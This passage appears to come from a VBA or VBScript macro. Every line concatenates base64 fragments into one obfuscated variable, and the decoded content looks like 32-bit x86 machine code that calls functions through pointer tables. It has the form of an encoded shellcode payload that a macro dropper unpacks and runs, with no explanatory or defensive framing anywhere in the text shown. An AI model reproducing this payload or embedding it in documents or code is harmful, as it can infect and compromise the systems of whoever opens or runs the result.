zzzzh_b64 = zzzzh_b64 & "QcAAAAAIl0JCCJVCQkiUWg/9GD7CiD"
zzzzh_b64 = zzzzh_b64 & "+AAPhQUAAADpewEAAItFCItAUItN7I"
zzzzh_b64 = zzzzh_b64 & "tJPIkMJP/Qg+wEMcmLVezHQjwAAAAA"
zzzzh_b64 = zzzzh_b64 & "i1UIxwQkAAAAAMdEJAQBAAAAx0QkCA"
zzzzh_b64 = zzzzh_b64 & "AAAADHRCQMAAAAAIlFnIlNmP9SRIPs"
zzzzh_b64 = zzzzh_b64 & "EDHJiUXAO03AD4UFAAAA6RoBAACLRc"
zzzzh_b64 = zzzzh_b64 & "CJRdSLRcCJRbiLReiLAIlFvItFCItA"
zzzzh_b64 = zzzzh_b64 & "OItN4ItV5IkUJIlMJATHRCQIBAAAAI"
zzzzh_b64 = zzzzh_b64 & "1N3IlMJAyNTcSJTCQQ/9CD7BSD+AAP"
zzzzh_b64 = zzzzh_b64 & "hRgAAACLRQj/UGC5bQAAADnBD4QFAA"
zzzzh_b64 = zzzzh_b64 & "AA6bcAAACLRQiLQEiJ4Y1VuIlRBMdB"
zzzzh_b64 = zzzzh_b64 & "DP/////HQQgAAAAAxwECAAAA/9CD7B"
zzzzh_b64 = zzzzh_b64 & "CJwYPo/4lNlA+EJgAAAOkAAAAAi0WU"
zzzzh_b64 = zzzzh_b64 & "hcAPhBsAAADpAAAAAItFlIPoAQ+EPQ"
zzzzh_b64 = zzzzh_b64 & "AAAOk/AAAA6VcAAACLRdyLTeCLVRCL"
zzzzh_b64 = zzzzh_b64 & "dQiJNCSJVCQEiUwkCIlEJAzosQEAAI"
zzzzh_b64 = zzzzh_b64 & "P4AA+FBQAAAOkpAAAA6QcAAADHRdgB"
zzzzh_b64 = zzzzh_b64 & "AAAA6QAAAACDfdgAD5XANP+oAQ+FAf"
zzzzh_b64 = zzzzh_b64 & "///8dF9AEAAAAxwItN6DtBBA+EFAAA"
zzzzh_b64 = zzzzh_b64 & "AItFCItAUItN6ItJBIkMJP/Qg+wEMc"
zzzzh_b64 = zzzzh_b64 & "CLTeg7AQ+EEwAAAItFCItAUItN6IsJ"
zzzzh_b64 = zzzzh_b64 & "iQwk/9CD7AQxwDtFwA+EEQAAAItFCI"
zzzzh_b64 = zzzzh_b64 & "tAUItNwIkMJP/Qg+wEMcCLTew7QTwP"
zzzzh_b64 = zzzzh_b64 & "hBQAAACLRQiLQFCLTeyLSTyJDCT/0I"
zzzzh_b64 = zzzzh_b64 & "PsBDHAO0XkD4QRAAAAi0UIi0BQi03k"
zzzzh_b64 = zzzzh_b64 & "iQwk/9CD7AQxwDtF4A+EEgAAAItF4I"
zzzzh_b64 = zzzzh_b64 & "tNCIkMJIlEJATosQEAADHAO0XoD4QS"
zzzzh_b64 = zzzzh_b64 & "AAAAi0Xoi00IiQwkiUQkBOiUAQAAMc"
zzzzh_b64 = zzzzh_b64 & "A7RewPhBIAAACLReyLTQiJDCSJRCQE"
zzzzh_b64 = zzzzh_b64 & "6HcBAAAxwDtF8A+EEgAAAItF8ItNCI"
zzzzh_b64 = zzzzh_b64 & "kMJIlEJAToWgEAAItF9IHEjAAAAF5f"
zzzzh_b64 = zzzzh_b64 & "XcNmLg8fhAAAAAAADx8AVYnlV1aD7B"
zzzzh_b64 = zzzzh_b64 & "yLRQyLTQiLVQiLUiSLdQyLfQiJRfSJ"
zzzzh_b64 = zzzzh_b64 & "TfCJVeyJdej/VyCJBCTHRCQECAAAAI"
zzzzh_b64 = zzzzh_b64 & "tF6IlEJAiLRez/0IPEEF5fXcNmDx+E"
zzzzh_b64 = zzzzh_b64 & "AAAAAABVieVTV1aD7CiLRRSLTRCLVQ"
zzzzh_b64 = zzzzh_b64 & "yLdQjHRewAAAAAi30Mi38EA30Ui10M"
zzzzh_b64 = zzzzh_b64 & "O3sID4J9AAAAi0UIi0Aoi00Mi0kIgc"
zzzzh_b64 = zzzzh_b64 & "EAIAAAi1UMixKLdQiJReiJTeSJVeD/"
zzzzh_b64 = zzzzh_b64 & "ViAxyYkEJMdEJAQAAAAAi0XgiUQkCI"
zzzzh_b64 = zzzzh_b64 & "tF5IlEJAyLReiJTdz/0IPsEDHJiUXs"
zzzzh_b64 = zzzzh_b64 & "O03sD4UMAAAAx0XwAAAAAOlLAAAAi0"
zzzzh_b64 = zzzzh_b64 & "Xsi00MiQGLRQyLSAiBwQAgAACJSAiL"
zzzzh_b64 = zzzzh_b64 & "RRSLTRCLVQyLEot1DANWBIkUJIlMJA"
zzzzh_b64 = zzzzh_b64 & "SJRCQI6OEVAACLRRSLTQwDQQSJQQTH"
zzzzh_b64 = zzzzh_b64 & "RfABAAAAi0Xwg8QoXl9bXcMPHwBVie"
zzzzh_b64 = zzzzh_b64 & "WD7BiLRQyLTQgx0jtVDA+ENAAAAItF"
zzzzh_b64 = zzzzh_b64 & "CItALItNDItVCIlF/IlN+P9SIDHJiQ"
zzzzh_b64 = zzzzh_b64 & "Qkx0QkBAAAAACLRfiJRCQIi0X8iU30"
zzzzh_b64 = zzzzh_b64 & "/9CD7AyDxBhdw1WJ5VNXVoPsWItFII"
zzzzh_b64 = zzzzh_b64 & "tNHItVGIt1FGaLfRCLXQyJReSLRQiJ"
zzzzh_b64 = zzzzh_b64 & "ReAxwMdF8AAAAADHRewAAAAAx0XoAA"
zzzzh_b64 = zzzzh_b64 & "AAAIlF3ItFCItABGaJfdpmi30QiUXU"
zzzzh_b64 = zzzzh_b64 & "i0UMiUXQi0UIi4DsAQAAiQQki0XQiU"
zzzzh_b64 = zzzzh_b64 & "QkBA+3x4lEJAjHRCQMAAAAAItF1IlN"
zzzzh_b64 = zzzzh_b64 & "zIlVyIl1xIldwP/Qg+wQMcmJRfA7Tf"
zzzzh_b64 = zzzzh_b64 & "APhQUAAADp6AAAADHAi00Ii0kIi1UY"
zzzzh_b64 = zzzzh_b64 & "g/oAugAAgAAPRcKLVRSLdQiBxv4AAA"
zzzzh_b64 = zzzzh_b64 & "CLffCJPCSJdCQEiVQkCMdEJAwAAAAA"
zzzzh_b64 = zzzzh_b64 & "x0QkEAAAAADHRCQUAAAAAIlEJBj/0Y"
zzzzh_b64 = zzzzh_b64 & "PsHDHJiUXsO03sD4UFAAAA6YQAAAAx"
zzzzh_b64 = zzzzh_b64 & "wItNCItJDItVIIt1IIt9HItd7IkcJM"
zzzzh_b64 = zzzzh_b64 & "dEJAQAAAAAx0QkCAAAAACJfCQMiXQk"
zzzzh_b64 = zzzzh_b64 & "EIlUJBTHRCQYAAAAAIlFvP/Rg+wcg/"
zzzzh_b64 = zzzzh_b64 & "gAD4UFAAAA6TMAAAAxwItNCItJFItV"
zzzzh_b64 = zzzzh_b64 & "7IkUJMdEJAQAAAAAiUW4/9GD7AiD+A"
zzzzh_b64 = zzzzh_b64 & "APhQUAAADpBwAAAMdF6AEAAAAxwDtF"
zzzzh_b64 = zzzzh_b64 & "7A+EEQAAAItFCItAHItN7IkMJP/Qg+"
zzzzh_b64 = zzzzh_b64 & "wEMcA7RfAPhBEAAACLRQiLQByLTfCJ"
zzzzh_b64 = zzzzh_b64 & "DCT/0IPsBItF6IPEWF5fW13DZg8fRA"
zzzzh_b64 = zzzzh_b64 & "AAVYnlU1dWg+xki0Uci00Yi1UUZot1"
zzzzh_b64 = zzzzh_b64 & "EIt9DItdCMdF8AAAAADHRewAAAAAiU"
zzzzh_b64 = zzzzh_b64 & "XUuP////+JRejHReQAAAAAx0XgAAAA"
zzzzh_b64 = zzzzh_b64 & "AMdF2AAAAACLRQiJBCTHRCQEACAAAI"
zzzzh_b64 = zzzzh_b64 & "lN0IlVzGaJdcqJfcSJXcDoM/z//zHJ"
zzzzh_b64 = zzzzh_b64 & "iUXkO03kD4UFAAAA6RoCAAAxwItNCI"
zzzzh_b64 = zzzzh_b64 & "tJMItVHIkUJMdEJAQAAABAx0QkCAAA"
zzzzh_b64 = zzzzh_b64 & "AADHRCQMAAAAAMdEJBACAAAAx0QkFI"
zzzzh_b64 = zzzzh_b64 & "AAAADHRCQYAAAAAIlFvP/Rg+wciUXo"
zzzzh_b64 = zzzzh_b64 & "uP////87RegPhQUAAADpvgEAADHAi0"
zzzzh_b64 = zzzzh_b64 & "0Ii0kEZotVEIt1DIt9CIu/7AEAAIk8"
zzzzh_b64 = zzzzh_b64 & "JIl0JAQPt/KJdCQIx0QkDAAAAACJRb"
zzzzh_b64 = zzzzh_b64 & "j/0YPsEDHJiUXwO03wD4UFAAAA6XUB"
zzzzh_b64 = zzzzh_b64 & "AAAxwItNCItJCItVGIP6ALoAAIAAD0"
zzzzh_b64 = zzzzh_b64 & "XCi1UUi3UIgcb2AAAAi33wiTwkiXQk"
zzzzh_b64 = zzzzh_b64 & "BIlUJAjHRCQMAAAAAMdEJBAAAAAAx0"
zzzzh_b64 = zzzzh_b64 & "QkFAAAAACJRCQY/9GD7BwxyYlF7DtN"
zzzzh_b64 = zzzzh_b64 & "7A+FBQAAAOkRAQAAMcCLTQiLSQyLVe"
zzzzh_b64 = zzzzh_b64 & "yJFCTHRCQEAAAAAMdEJAgAAAAAx0Qk"
zzzzh_b64 = zzzzh_b64 & "DAAAAADHRCQQAAAAAMdEJBQAAAAAx0"
zzzzh_b64 = zzzzh_b64 & "QkGAAAAACJRbT/0YPsHIP4AA+FBQAA"
zzzzh_b64 = zzzzh_b64 & "AOm9AAAAMcCLTQiLSRSLVeyJFCTHRC"
zzzzh_b64 = zzzzh_b64 & "QEAAAAAIlFsP/Rg+wIg/gAD4UFAAAA"
zzzzh_b64 = zzzzh_b64 & "6ZEAAADpAAAAAItFCItAGItN5ItV7I"
zzzzh_b64 = zzzzh_b64 & "kUJIlMJATHRCQIACAAAI1N4IlMJAz/"
zzzzh_b64 = zzzzh_b64 & "0IPsEIP4AA+FBQAAAOlXAAAAMcCLTQ"
zzzzh_b64 = zzzzh_b64 & "iLSTSLVeCLdeSLfeiJPCSJdCQEiVQk"
zzzzh_b64 = zzzzh_b64 & "CI1V3IlUJAzHRCQQAAAAAIlFrP/Rg+"
zzzzh_b64 = zzzzh_b64 & "wUg/gAD4UFAAAA6RYAAADpAAAAAIN9"
zzzzh_b64 = zzzzh_b64 & "4AAPh3v////HRdgBAAAAMcA7RewPhB"
zzzzh_b64 = zzzzh_b64 & "EAAACLRQiLQByLTeyJDCT/0IPsBDHA"
zzzzh_b64 = zzzzh_b64 & "O0XwD4QRAAAAi0UIi0Aci03wiQwk/9"
zzzzh_b64 = zzzzh_b64 & "CD7AS4/////ztF6A+EEQAAAItFCItA"
zzzzh_b64 = zzzzh_b64 & "UItN6IkMJP/Qg+wEMcA7ReQPhRIAAA"
zzzzh_b64 = zzzzh_b64 & "CLReSLTQiJDCSJRCQE6NL6//+LRdiD"
zzzzh_b64 = zzzzh_b64 & "xGReX1tdww8fgAAAAABVieVXVoPsQI"
zzzzh_b64 = zzzzh_b64 & "tFDItNCMdF9AAAAADHRfAAAAAAx0Xs"
zzzzh_b64 = zzzzh_b64 & "AAAAAItVCIkUJMdEJAREAAAAiUXoiU"
zzzzh_b64 = zzzzh_b64 & "3k6ET5//8xyYlF9DtN9A+FBQAAAOmg"
zzzzh_b64 = zzzzh_b64 & "AAAAi0UIiQQkx0QkBBAAAADoHvn//z"
zzzzh_b64 = zzzzh_b64 & "HJiUXwO03wD4UFAAAA6XoAAAAxwItN"
zzzzh_b64 = zzzzh_b64 & "9McBRAAAAItNCItJPItV8It19It9DM"
zzzzh_b64 = zzzzh_b64 & "cEJAAAAACJfCQEx0QkCAAAAADHRCQM"
zzzzh_b64 = zzzzh_b64 & "AAAAAMdEJBAAAAAAx0QkFAAAAAjHRC"
zzzzh_b64 = zzzzh_b64 & "QYAAAAAMdEJBwAAAAAiXQkIIlUJCSJ"
zzzzh_b64 = zzzzh_b64 & "ReD/0YPsKIP4AA+FBQAAAOkHAAAAx0"
zzzzh_b64 = zzzzh_b64 & "XsAQAAADHAO0XwD4RUAAAAMcCLTfA7"
zzzzh_b64 = zzzzh_b64 & "AQ+EEwAAAItFCItAUItN8IsJiQwk/9"
zzzzh_b64 = zzzzh_b64 & "CD7AQxwItN8DtBBA+EFAAAAItFCItA"
zzzzh_b64 = zzzzh_b64 & "UItN8ItJBIkMJP/Qg+wEi0Xwi00IiQ"
zzzzh_b64 = zzzzh_b64 & "wkiUQkBOhy+f//i0X0i00IiQwkiUQk"
zzzzh_b64 = zzzzh_b64 & "BOhg+f//i0Xsg8RAXl9dw2YPH0QAAF"
zzzzh_b64 = zzzzh_b64 & "WJ5VdWg+wci0UMi00Ix0X0ADMAAItV"
zzzzh_b64 = zzzzh_b64 & "CItSEI119It9DIk8JMdEJAQfAAAAiX"
zzzzh_b64 = zzzzh_b64 & "QkCMdEJAwEAAAAiUXwiU3s/9KDxAxe"
zzzzh_b64 = zzzzh_b64 & "X13DZg8fhAAAAAAAVYnlU1dWg+wwi0"
zzzzh_b64 = zzzzh_b64 & "UQi00Mi1UIMfbHRewAAAAAx0XkAAAA"
zzzzh_b64 = zzzzh_b64 & "AIt9CIt/WItdDIkcJMdEJAQAAAAAx0"
zzzzh_b64 = zzzzh_b64 & "QkCAAAAACJReCJTdyJVdiJddT/14Ps"
zzzzh_b64 = zzzzh_b64 & "DIPAAYlF6ItF6MHgAYtNCIkMJIlEJA"
zzzzh_b64 = zzzzh_b64 & "ToVvf//zHJiUXsO03sD4UMAAAAx0Xw"
zzzzh_b64 = zzzzh_b64 & "AAAAAOlxAAAAi0Xoi00Ii0lYi1Xoi3"
zzzzh_b64 = zzzzh_b64 & "Xsi30MiTwkiXQkBIlUJAiJRdD/0YPs"
zzzzh_b64 = zzzzh_b64 & "DItN0DnBD4MFAAAA6Q8AAACLReyLTR"
zzzzh_b64 = zzzzh_b64 & "CJAcdF5AEAAACDfeQAD4UdAAAAMcA7"
zzzzh_b64 = zzzzh_b64 & "RewPhBIAAACLReyLTQiJDCSJRCQE6B"
zzzzh_b64 = zzzzh_b64 & "H4//+LReSJRfCLRfCDxDBeX1tdw1WJ"
zzzzh_b64 = zzzzh_b64 & "5VdWg+xAi0UUi00QilUMi3UIx0X0AA"
zzzzh_b64 = zzzzh_b64 & "AAAMdF8AAAAADHRewAAAAAx0XoAAAA"
zzzzh_b64 = zzzzh_b64 & "AGbHReYAAIt9EMcHAAAAAIt9FMcHAA"
zzzzh_b64 = zzzzh_b64 & "AAAA+2fQyF/4l94A+ESQAAAOkAAAAA"
zzzzh_b64 = zzzzh_b64 & "i0Xgg+gBD4RgAAAA6QAAAACLReCD6A"
zzzzh_b64 = zzzzh_b64 & "IPhHcAAADpAAAAAItF4IPoAw+EjgAA"
zzzzh_b64 = zzzzh_b64 & "AOkAAAAAi0Xgg+gED4SlAAAA6cgAAA"
zzzzh_b64 = zzzzh_b64 & "CLRQgFCAEAAIlF8ItFCAU8AQAAiUXs"
zzzzh_b64 = zzzzh_b64 & "x0XoAQAAAGbHRea7AemlAAAAi0UIBZ"
zzzzh_b64 = zzzzh_b64 & "YBAACJRfCLRQgFmAEAAIlF7MdF6AAA"
zzzzh_b64 = zzzzh_b64 & "AABmx0XmAADpfQAAAItFCAWaAQAAiU"
zzzzh_b64 = zzzzh_b64 & "Xwi0UIBZwBAACJRezHRegAAAAAZsdF"
zzzzh_b64 = zzzzh_b64 & "5gAA6VUAAACLRQgFngEAAIlF8ItFCA"
zzzzh_b64 = zzzzh_b64 & "WgAQAAiUXsx0XoAAAAAGbHReYAAOkt"
zzzzh_b64 = zzzzh_b64 & "AAAAi0UIBaIBAACJRfCLRQgFpAEAAI"
zzzzh_b64 = zzzzh_b64 & "lF7MdF6AAAAABmx0XmAADpBQAAAOlC"
zzzzh_b64 = zzzzh_b64 & "AQAAMcCLTQiLSQRmi1Xmi3Xwi30Ii7"
zzzzh_b64 = zzzzh_b64 & "/sAQAAiTwkiXQkBA+38ol0JAjHRCQM"
zzzzh_b64 = zzzzh_b64 & "AAAAAIlF3P/Rg+wQMcmLdRCJBotFED"
zzzzh_b64 = zzzzh_b64 & "sID4UFAAAA6fUAAAAxwItNCItJCItV"
zzzzh_b64 = zzzzh_b64 & "6IP6ALoAAIAAD0XCi1Xsi3UIgcb2AA"
zzzzh_b64 = zzzzh_b64 & "AAi30Qiz+JPCSJdCQEiVQkCMdEJAwA"
zzzzh_b64 = zzzzh_b64 & "AAAAx0QkEAAAAADHRCQUAAAAAIlEJB"
zzzzh_b64 = zzzzh_b64 & "j/0YPsHDHJi1UUiQKLRRQ7CA+FBQAA"
zzzzh_b64 = zzzzh_b64 & "AOmLAAAAMcCLTQiLSQyLVRSLEokUJM"
zzzzh_b64 = zzzzh_b64 & "dEJAQAAAAAx0QkCAAAAADHRCQMAAAA"
zzzzh_b64 = zzzzh_b64 & "AMdEJBAAAAAAx0QkFAAAAADHRCQYAA"
zzzzh_b64 = zzzzh_b64 & "AAAIlF2P/Rg+wcg/gAD4UFAAAA6TUA"
zzzzh_b64 = zzzzh_b64 & "AAAxwItNCItJFItVFIsSiRQkx0QkBA"
zzzzh_b64 = zzzzh_b64 & "AAAACJRdT/0YPsCIP4AA+FBQAAAOkH"
zzzzh_b64 = zzzzh_b64 & "AAAAx0X0AQAAAIN99AAPhVcAAAAxwI"
zzzzh_b64 = zzzzh_b64 & "tNFDsBD4QcAAAAi0UIi0Aci00UiwmJ"
zzzzh_b64 = zzzzh_b64 & "DCT/0IPsBItNFMcBAAAAADHAi00QOw"
zzzzh_b64 = zzzzh_b64 & "EPhBwAAACLRQiLQByLTRCLCYkMJP/Q"
zzzzh_b64 = zzzzh_b64 & "g+wEi00QxwEAAAAA6QAAAACLRfSDxE"
zzzzh_b64 = zzzzh_b64 & "BeX13DZg8fRAAAVYnlU1dWg+wsi0UU"
zzzzh_b64 = zzzzh_b64 & "i00Qi1UMi3UIZsdF8AAAx0XsAAAAAM"
zzzzh_b64 = zzzzh_b64 & "dF6AAAAACNffKLXQyJReSLRQiJBCSJ"
zzzzh_b64 = zzzzh_b64 & "XCQEiXwkCMdEJAwCAAAAiU3giVXciX"
zzzzh_b64 = zzzzh_b64 & "XY6CoBAACD+AAPhQUAAADpngAAAA+3"
zzzzh_b64 = zzzzh_b64 & "RfLB4AKLTQiJDCSJRCQE6Cbz//8xyY"
zzzzh_b64 = zzzzh_b64 & "lF7DtN7A+FBQAAAOl1AAAAZsdF8AAA"
zzzzh_b64 = zzzzh_b64 & "D7dF8A+3TfI5yA+NRgAAAItF7A+3Tf"
zzzzh_b64 = zzzzh_b64 & "DB4QIByItNDItVCIkUJIlMJASJRCQI"
zzzzh_b64 = zzzzh_b64 & "6FsBAACD+AAPhQUAAADpLwAAAOkAAA"
zzzzh_b64 = zzzzh_b64 & "AAZotF8GaDwAFmiUXw6ar///+LReyL"
zzzzh_b64 = zzzzh_b64 & "TRCJAWaLVfKLRRRmiRDHRegBAAAAg3"
zzzzh_b64 = zzzzh_b64 & "3oAA+FYgAAADHAO0XsD4RSAAAAZsdF"
zzzzh_b64 = zzzzh_b64 & "8AAAD7dF8A+3TfI5yA+NKgAAAItF7A"
zzzzh_b64 = zzzzh_b64 & "+3TfCLBIiLTQiJDCSJRCQE6Jrz//9m"
zzzzh_b64 = zzzzh_b64 & "i0XwZoPAAWaJRfDpxv///4tF7ItNCI"
zzzzh_b64 = zzzzh_b64 & "kMJIlEJATod/P//+kAAAAAi0Xog8Qs"
zzzzh_b64 = zzzzh_b64 & "Xl9bXcMPH4AAAAAAVYnlVoPsHItFFI"
zzzzh_b64 = zzzzh_b64 & "tNEItVDIt1CMdF9AAAAADHRfAAAAAA"
zzzzh_b64 = zzzzh_b64 & "i0X0O0UUD4NaAAAAi0UIi0AYi00UK0"
zzzzh_b64 = zzzzh_b64 & "30i1UQA1X0i3UMiTQkiVQkBIlMJAiN"
zzzzh_b64 = zzzzh_b64 & "TfCJTCQM/9CD7BCD+AAPhAsAAAAxwD"
zzzzh_b64 = zzzzh_b64 & "tF8A+FDAAAAMdF+AAAAADpFQAAAItF"
zzzzh_b64 = zzzzh_b64 & "8ANF9IlF9Oma////x0X4AQAAAItF+I"
zzzzh_b64 = zzzzh_b64 & "PEHF5dw2YPH4QAAAAAAFWJ5VdWg+wo"
zzzzh_b64 = zzzzh_b64 & "i0UQi00Mi1UIx0XwAAAAAMdF7AAAAA"
zzzzh_b64 = zzzzh_b64 & "CLdQyLfQiJPCSJdCQEjXX3iXQkCMdE"
zzzzh_b64 = zzzzh_b64 & "JAwBAAAAiUXoiU3kiVXg6Bf///+D+A"
zzzzh_b64 = zzzzh_b64 & "APhQUAAADpgAAAAIB99wcPggUAAADp"
zzzzh_b64 = zzzzh_b64 & "cQAAAItFCA+2TfeLhMisAQAAi00IiQ"
zzzzh_b64 = zzzzh_b64 & "wkiUQkBOj98P//McmJRfA7TfAPhQUA"
zzzzh_b64 = zzzzh_b64 & "AADpQQAAAItFCA+2TfeLhMiwAQAAi0"
zzzzh_b64 = zzzzh_b64 & "3wi1UMi3UIiTQkiVQkBIlMJAj/0IP4"
zzzzh_b64 = zzzzh_b64 & "AA+FBQAAAOkPAAAAx0XsAQAAAItF8I"
zzzzh_b64 = zzzzh_b64 & "tNEIkBg33sAA+FHQAAADHAO0XwD4QS"
zzzzh_b64 = zzzzh_b64 & "AAAAi0Xwi00IiQwkiUQkBOjC8f//i0"
zzzzh_b64 = zzzzh_b64 & "Xsg8QoXl9dww8fhAAAAAAAVYnlU1dW"
zzzzh_b64 = zzzzh_b64 & "g+woi0UMi00Ii1UMiVXwi1Xwi1IWi3"
zzzzh_b64 = zzzzh_b64 & "Xwi3YSi33wi38Oi13wZotbDIlF7ItF"
zzzzh_b64 = zzzzh_b64 & "8ItACIlF6ItFCIkEJItF6IlEJAQPt8"
zzzzh_b64 = zzzzh_b64 & "OJRCQIiXwkDIl0JBCJVCQUiU3k6G7z"
zzzzh_b64 = zzzzh_b64 & "//+DxCheX1tdw2YPH0QAAFWJ5VaD7B"
zzzzh_b64 = zzzzh_b64 & "SLRQyLTQiLVQyJVfiLVfiLUgiLdQiJ"
zzzzh_b64 = zzzzh_b64 & "NCSJVCQEiUX0iU3w6BLx//+LRfiLQA"
zzzzh_b64 = zzzzh_b64 & "6LTQiJDCSJRCQE6P3w//+LRfiLQBaL"
zzzzh_b64 = zzzzh_b64 & "TQiJDCSJRCQE6Ojw//+DxBReXcNmkF"
zzzzh_b64 = zzzzh_b64 & "WJ5VNXVoPsKItFEItNDItVCGbHRfIA"
zzzzh_b64 = zzzzh_b64 & "AMdF7AAAAADHRegAAAAAjXXyi30Mi1"
zzzzh_b64 = zzzzh_b64 & "0IiRwkiXwkBIl0JAjHRCQMAgAAAIlF"
zzzzh_b64 = zzzzh_b64 & "5IlN4IlV3Ogw/f//g/gAD4UFAAAA6X"
zzzzh_b64 = zzzzh_b64 & "oAAAAPt0Xyg8ABweABi00IiQwkiUQk"
zzzzh_b64 = zzzzh_b64 & "BOgp7///McmJRew7TewPhQUAAADpTg"
zzzzh_b64 = zzzzh_b64 & "AAAA+3RfLB4AGLTeyLVQyLdQiJNCSJ"
zzzzh_b64 = zzzzh_b64 & "VCQEiUwkCIlEJAzo0vz//4P4AA+FBQ"
zzzzh_b64 = zzzzh_b64 & "AAAOkcAAAAi0XsD7dN8mbHBEgAAItF"
zzzzh_b64 = zzzzh_b64 & "7ItNEIkBx0XoAQAAAIN96AAPhRIAAA"
zzzzh_b64 = zzzzh_b64 & "CLReyLTQiJDCSJRCQE6Ozv//+LReiD"
zzzzh_b64 = zzzzh_b64 & "xCheX1tdw5BVieVWg+wQi0UMi00Ii1"
zzzzh_b64 = zzzzh_b64 & "UMi1IIi3UIiTQkiVQkBIlF+IlN9Oj4"
zzzzh_b64 = zzzzh_b64 & "9P//g8QQXl3DZpBVieVWg+wUi0UMi0"
zzzzh_b64 = zzzzh_b64 & "0Ii1UMiVX4i1X4i1IIi3UIiTQkiVQk"
zzzzh_b64 = zzzzh_b64 & "BIlF9IlN8OiC7///g8QUXl3DZi4PH4"
zzzzh_b64 = zzzzh_b64 & "QAAAAAAGaQVYnlV1aD7BSLRQyLTQiL"
zzzzh_b64 = zzzzh_b64 & "VQyJVfSLVQiLUlSLdfSLdgyLffSLfw"
zzzzh_b64 = zzzzh_b64 & "iJPCSJdCQEiUXwiU3s/9KDxAxeX13D"
zzzzh_b64 = zzzzh_b64 & "Dx9AAFWJ5VaD7BSLRQyLTQiLVQyJVf"
zzzzh_b64 = zzzzh_b64 & "iLVfiLUgiLdQiJNCSJVCQEiUX0iU3w"
zzzzh_b64 = zzzzh_b64 & "6ALv//+LRfiLQAyLTQiJDCSJRCQE6O"
zzzzh_b64 = zzzzh_b64 & "3u//+DxBReXcMPH4AAAAAAVYnlU1dW"
zzzzh_b64 = zzzzh_b64 & "g+w8i0UMi00Ii1UMiVXwx0XgAAAAAI"
zzzzh_b64 = zzzzh_b64 & "tVCIkUJMdEJAQAIAAAiUXciU3Y6Gvt"
zzzzh_b64 = zzzzh_b64 & "//8xyYlF5DtN5A+FBQAAAOmYAAAAx0"
zzzzh_b64 = zzzzh_b64 & "XoAAAAAMdF7AAgAACLRfCLQAiLTQiJ"
zzzzh_b64 = zzzzh_b64 & "DCSJRCQEjUXkiUQkCOiO6P//g/gAD4"
zzzzh_b64 = zzzzh_b64 & "UFAAAA6WAAAACLReiLTeSLVfCLUhaL"
zzzzh_b64 = zzzzh_b64 & "dfCLdhKLffBmi18Qi33wi38MiUXUi0"
zzzzh_b64 = zzzzh_b64 & "UIiQQkiXwkBA+3w4lEJAiJdCQMiVQk"
zzzzh_b64 = zzzzh_b64 & "EIlMJBSLRdSJRCQY6GXu//+D+AAPhQ"
zzzzh_b64 = zzzzh_b64 & "UAAADpBwAAAMdF4AEAAAAxwDtF5A+E"
zzzzh_b64 = zzzzh_b64 & "EgAAAItF5ItNCIkMJIlEJATo4+3//4"
zzzzh_b64 = zzzzh_b64 & "tF4IPEPF5fW13DDx+EAAAAAABVieVW"
zzzzh_b64 = zzzzh_b64 & "g+wUi0UMi00Ii1UMiVX4i1X4i1IIi3"
zzzzh_b64 = zzzzh_b64 & "UIiTQkiVQkBIlF9IlN8Oii7f//i0X4"
zzzzh_b64 = zzzzh_b64 & "i0AMi00IiQwkiUQkBOiN7f//i0X4i0"
zzzzh_b64 = zzzzh_b64 & "ASi00IiQwkiUQkBOh47f//g8QUXl3D"
zzzzh_b64 = zzzzh_b64 & "ZpBVieVWg+wIi0UMi00Ii1UMiVX4i1"
zzzzh_b64 = zzzzh_b64 & "UIx4LwAQAAAQAAAItV+ItSCIt1CImW"
zzzzh_b64 = zzzzh_b64 & "9AEAALoBAAAAiUX0idCDxAheXcOQVY"
zzzzh_b64 = zzzzh_b64 & "nli0UMi00IXcMPH0QAAFWJ5VNXVoPs"
zzzzh_b64 = zzzzh_b64 & "YItFDItNCDHSi3UMiXXwx0XsAAAAAM"
zzzzh_b64 = zzzzh_b64 & "dFuAAAAADHRbQAAAAAx0XcARQCAMdF"
zzzzh_b64 = zzzzh_b64 & "4AAAAADHReTAAAAAx0XoAAAARsdFzP"
zzzzh_b64 = zzzzh_b64 & "kUAgDHRdAAAAAAx0XUwAAAAMdF2AAA"
zzzzh_b64 = zzzzh_b64 & "AEbHRbwLAQAAx0XAAAAAAMdFxMAAAA"
zzzzh_b64 = zzzzh_b64 & "DHRcgAAABGi3UIi3ZsjX24jV3ciRwk"
zzzzh_b64 = zzzzh_b64 & "x0QkBAAAAADHRCQIAQAAAI1dzIlcJA"
zzzzh_b64 = zzzzh_b64 & "yJfCQQiUWwiU2siVWo/9aD7BSD+AAP"
zzzzh_b64 = zzzzh_b64 & "jQUAAADp1gAAAItFuItN8ItJCIsQiQ"
zzzzh_b64 = zzzzh_b64 & "QkiUwkBP9SUIPsCIP4AA+NBQAAAOmw"
zzzzh_b64 = zzzzh_b64 & "AAAAi0W4i03wi0kMixCJBCSJTCQE/1"
zzzzh_b64 = zzzzh_b64 & "Isg+wIg/gAD40FAAAA6YoAAACLRbiL"
zzzzh_b64 = zzzzh_b64 & "TfBmi1EUiwiJBCQPt8KJRCQE/1E0g+"
zzzzh_b64 = zzzzh_b64 & "wIg/gAD40FAAAA6WAAAACLRbiJwY1V"
zzzzh_b64 = zzzzh_b64 & "tIsAiQwkjU28iUwkBIlUJAj/EIPsDI"
zzzzh_b64 = zzzzh_b64 & "P4AA+NBQAAAOk1AAAAi0W0i03wi0kQ"
zzzzh_b64 = zzzzh_b64 & "ixCJBCSJTCQEx0QkCAEAAAD/UhiD7A"
zzzzh_b64 = zzzzh_b64 & "yD+AAPjQUAAADpBwAAAMdF7AEAAAAx"
zzzzh_b64 = zzzzh_b64 & "wDtFtA+EEAAAAItFtInBiwCJDCT/UA"
zzzzh_b64 = zzzzh_b64 & "iD7AQxwDtFuA+EEAAAAItFuInBiwCJ"
zzzzh_b64 = zzzzh_b64 & "DCT/UAiD7ASLReyDxGBeX1tdww8fAF"
zzzzh_b64 = zzzzh_b64 & "WJ5VaD7BSLRQyLTQiLVQyJVfiLVfiL"
zzzzh_b64 = zzzzh_b64 & "UgiLdQiJNCSJVCQEiUX0iU3w6BLr//"
zzzzh_b64 = zzzzh_b64 & "+LRfiLQAyLTQiJDCSJRCQE6P3q//+L"
zzzzh_b64 = zzzzh_b64 & "RfiLQBCLTQiJDCSJRCQE6Ojq//+DxB"
zzzzh_b64 = zzzzh_b64 & "ReXcNmkFWJ5VdWg+wci0UMi00Ii1UM"
zzzzh_b64 = zzzzh_b64 & "iVX0i1UIi1Jwi3X0i3YMi330i38IiT"
zzzzh_b64 = zzzzh_b64 & "wkiXQkBMdEJAgcAAAAiUXwiU3s/9KD"
